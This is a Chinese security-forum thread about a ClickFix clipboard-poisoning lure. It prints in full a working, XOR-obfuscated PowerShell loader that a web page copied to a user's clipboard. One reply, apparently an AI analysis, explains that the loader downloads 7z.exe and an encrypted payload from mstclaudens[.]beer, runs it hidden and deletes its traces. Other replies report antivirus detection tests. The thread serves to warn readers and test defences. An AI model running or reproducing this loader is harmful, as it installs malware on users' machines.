剪贴板投毒

Black_lonely

https://0x434b.dev/breaking-the-d-link-dir3060-firmware-encryption-static-analysis-of-the-decryption-routine-part-2-1/

浏览这个页面的时候遇到了，自动给我剪贴板复制了一段代码想诱骗执行：
完整代码如下

1. <# Verification code: 6132C1741686 #>  $t6w='2MjTn8';$hfe='163b133e0b5542704d0f3d4141390f394076573944070b4a442409313e575b231e190f56532a0f263302081e0f371b4a5b3913041c574622093b0205691e13271a5d5f6324311a16612809211c5146343a26014c5d2e05383a414228376e546c5e3e5b66551c557c1b370805156a5d2e491f09690624531f157c58675f0a016a4d6f4a400b70203b07561f1d0b20061816280422546c77003a744663613419200b551c04257a3e594625376e547f57393835005c5d202c3d025d7c2c073146111b76243119157b390f394e157b390f393a4142284a10074a572e1e3b1c4112603a351a501269126d4e15742218370b447d381e79204d5e215170000c4370203b07561f1d0b200618163553744663613419200b551c04257a3e594625376e547f57393835005c5d202c3d025d7c2c07314611196a4d7a0b40576a4d7d551c4b37102553725d2404793e5946254a70160112653107174b4628077a27771c1d0b20066508772d311a6a53230e3b037e5b210f1a0f555765437f491f1c6a4d7f4a5f033c0932470316231c69354c57351e7a0b5651220e3d005f6f7750211a5e0a632d311a6b463f033a0910692e053a185d4039376e547e402207160f4b577b5e071a4a5b230d7c491f611a5f660c0a462126020a546b2120380d60642109673f05156a437d551c4b3a1c220b0502760c3b1c10163707695e03163707744354466d597443595c294a790057466d4e2d194e4428517014551966432f1a4a4b36033246155c221e74466c573e1e793e5946254a70000c4364432f481c5c3b4a793b4a5b6d4d73064c463d196e41175f3e1e37025947290f3a1d1650280f26415942244563141657350f7349181f021f2028515e284a70000c436d47011d5d702c193d0d68533f193d005f4f6b4e3a18181f18183d4e1f15251e201e4b086245391d4c51210b210a5d5c3e44360b5d40620b2407175b230e31161642251a6b0f0556214c3a0257503f5706204040383a1a256f620e38255c4e67745f72194a543408691772433f4c2e14594b7005612d7463262306034f643a21654856413e5736580a007e52310b5c547b5d660b5b01745d32585b017408650d5a53285d625c0d517c536c5c5d532c5e60580a567c59605b0f032b09665a0d0029586c0f5e566a4d74437747392c3d025d1269132e144912603f270b7a533e03373e59403e033a09035b2b42000b4b46603a351a501269132e14491b364e2d194e44285765135d5e3e0f2f3d4c533f1e793d5457281a74436b572e053a0a4b127f17290d59462e022f3d4c533f1e793d5457281a74436b572e053a0a4b127f172955515465473a014c12653e311d4c1f1d0b2006181634102e1f111b360f2c074c4f764e3a18057822033a4368533902744a400b6d420f3d4141390f3940717d633a351a506f7750130b4c602c043001557424063120595f28427d47037c281d79274c57204a79274c57203e2d1e5d120903260b5b4622182d4e15622c1e3c4e1c5c3b4a792857402e0f28214d4660242102540969002d090572654d73161f15614d734341156a436f075e1a6906244e155c284a73491f1564117004415566577c491f1f3d4d73451c5e3d43294a524b2a4169461f15600573491316231c7d551c58340d7f531c4b371025555154653e311d4c1f1d0b20061816235e254743146d4e3a5a49120d002d09447d381e79204d5e211731024b57364e310c0f487d5773496b462c1820491f196a4d793e4a5d6a4d7f491f51281927491f096b4a700b5a05375a74437e5b210f040f4c5a6d4e2d1442436d4703075656221d071a415e284a1c075c56280429551c54261f69295d4660293c075456041e3103181f1d0b20061816231c74437e5b211e311c1818630f2c0b181f1f0f371b4a41284a7928515e2816070b54572e1e79215a582809204e15742418271a1803764e27185a02702d311a15712503380a71462807744368533902744a56446d471207544628187444165f3e0374436a572e1f261d5d12602c3d025d4e1e0f380b5b46602536045d51394a792851403e1e745f03163f04694a564721066f4a484b2905694a564721066f075e1a690c3f1b114969183a531c54261f7a284d5e212435035d09691a2d0a570f690c3f1b16762418310d4c5d3f137a284d5e212435035d4f2806270b5154654e27185a026411701c560f6919220c081c0b1f38027653200f6f4a484b2905694a4b442f5a7a2a5140280920014a4b632c2102547c2c0731135d5e3e0f2f4a4a5c704e2d1442433051700b5a05375a69491f61390b261a1f15664d73436840224d73451f152e0f271d1f15760332461c4023432f075e1a691a2d0a571b364c744a5d507a10644e15742406313e5946254a701c5612603d3b1c535b230d10074a572e1e3b1c4112691a2d0a5712603d3d005c5d3a39201754576d223d0a5c57231731024b57364c744a5d507a10644e15742406313e5946254a701c5612603d3d005c5d3a39201754576d223d0a5c57231729554c403411060b555d3b0f79274c57204a792251462818350268533902744a4148371b74437e5d3f09314e15773f183b1c795139033b001861240631004c5e34293b004c5b231f31135b5339093c15450939182d155154653e311d4c1f1d0b20061816235e2547436028073b185d1f041e3103181f0103200b4a53213a351a50126904601f181f0b05260d5d12602f261c57400c092007575c6d393d025d5c39062d2d575c39033a1b5d4f3009351a5b5a36176f4903163b133e0b55423e1a69496b462c1820491315603a26011f196a09311d4b15764c744a4e4b270f391e4b426d4703075656221d071a415e284a1c075c562804741e5745281827065d5e214a792f4a55380731004c7e2419204e1f1f0305041c5754240631491415603d3d005c5d3a39201754576a4673265156290f3a49141560293b035553230e73421c4434003103480928123d1a';$x7vze='';0..($hfe.Length/2-1)|%{$kzihv=$_*2;$x7vze+=[char](([convert]::ToInt32($hfe.Substring($kzihv,2),16))-bxor[int][char]$t6w[$_%$t6w.Length])};.([ScriptBlock]::Create($x7vze))

复制代码

Myrenaser

EES运行后

一成不变

这是**恶意 PowerShell 下载器 / 木马加载器**，不要运行。⚠️

我把它静态解码后看了，它的逻辑大概是：

```powershell
$hfe = '很长的十六进制字符串'
$t6w = '2MjTn8'

# 每两个十六进制字符转成一个字节
# 再和密钥 2MjTn8 循环异或
# 得到真正要执行的 PowerShell 脚本
.([ScriptBlock]::Create($x7vze))
```

也就是说，前面那大坨 `$hfe` 不是普通数据，是**被 XOR 混淆过的脚本**。

解码后的行为是：

1. **新开隐藏 PowerShell**

   ```powershell
   Start-Process -WindowStyle Hidden powershell -ArgumentList ...
   ```

2. **在 `%TEMP%` 创建随机目录和随机文件名**

3. **下载一个 7z.exe**
   从 `mstclaudens[.]beer/api/7z.exe` 下载解压工具。

4. **下载一个加密的 `.7z` 压缩包**
   从同一个域名的 `/api/index.php?a=dl...` 下载 payload。

5. **用密码解压**
   密码是：

   ```text
   123123
   ```

6. **找解压出来的 `.exe` 或 `.msi` 并隐藏运行**

7. **删除下载痕迹**
   它会删除 `.7z` 和下载的 `7z.exe`，降低被发现的概率。

这个域名 `mstclaudens.beer` 也出现在近期威胁情报 IOC 里，属于可疑/恶意基础设施指标。([OffSeq Threat Radar][1]) 微软对 PowerShell 木马的说明也提到，这类脚本常用于通过 PowerShell 下载后续恶意文件或程序。([Microsoft][2])

## 结论

这不是正常激活码，也不是普通验证码。
它是：

> **混淆 PowerShell → 下载 7z → 下载加密压缩包 → 解压 → 执行 EXE/MSI 的恶意加载器。**
gpt分析的

吃瓜群众第123位

趋势科技云端版 未评级网址

Black_lonely

吃瓜群众第123位 发表于 2026-6-9 15:46
趋势科技云端版 未评级网址

要在powershell里运行

嘿嘿不能说

Rising：无反应

---

火绒：



放行的话也是没有反应

---

卡巴斯基：

1. 事件: 我们发现可能会被入侵者利用以破坏您的计算机或个人数据的应用程序
   
2. 用户: 123a\123aaa
   
3. 用户类型: 发起者
   
4. 应用程序名称: powershell.exe
   
5. 应用程序路径: C:\Windows\System32\WindowsPowerShell\v1.0
   
6. 组件: AMSI 保护
   
7. 结果描述: 检测到
   
8. 类型: 可能会造成损害的软件
   
9. 名称: HEUR:HackTool.PowerShell.InvokeObfuscation.gen
   
10. 精确度: 启发式分析
    
11. 威胁级别: 中
    
12. 对象类型: 文件
    
13. 对象名称: amsi_stream_16
    
14. 对象路径: uid://
    
15. 对象的 MD5: 81F04085A05DCFCFEC210AEE436E0C99
    
16. 原因: 专家分析
    
17. 数据库发布日期: 今天，2026/6/9 下午1:34:00

复制代码

吃瓜群众第123位

Black_lonely 发表于 2026-6-9 16:02
要在powershell里运行

趋势科技拦截外联 原因：恶意程式的共犯

fdsax

best恶意命令行

lingchenheiye

典型的clickfix

c199529

腾讯电脑管家18

另存为ps1文件，右键不报毒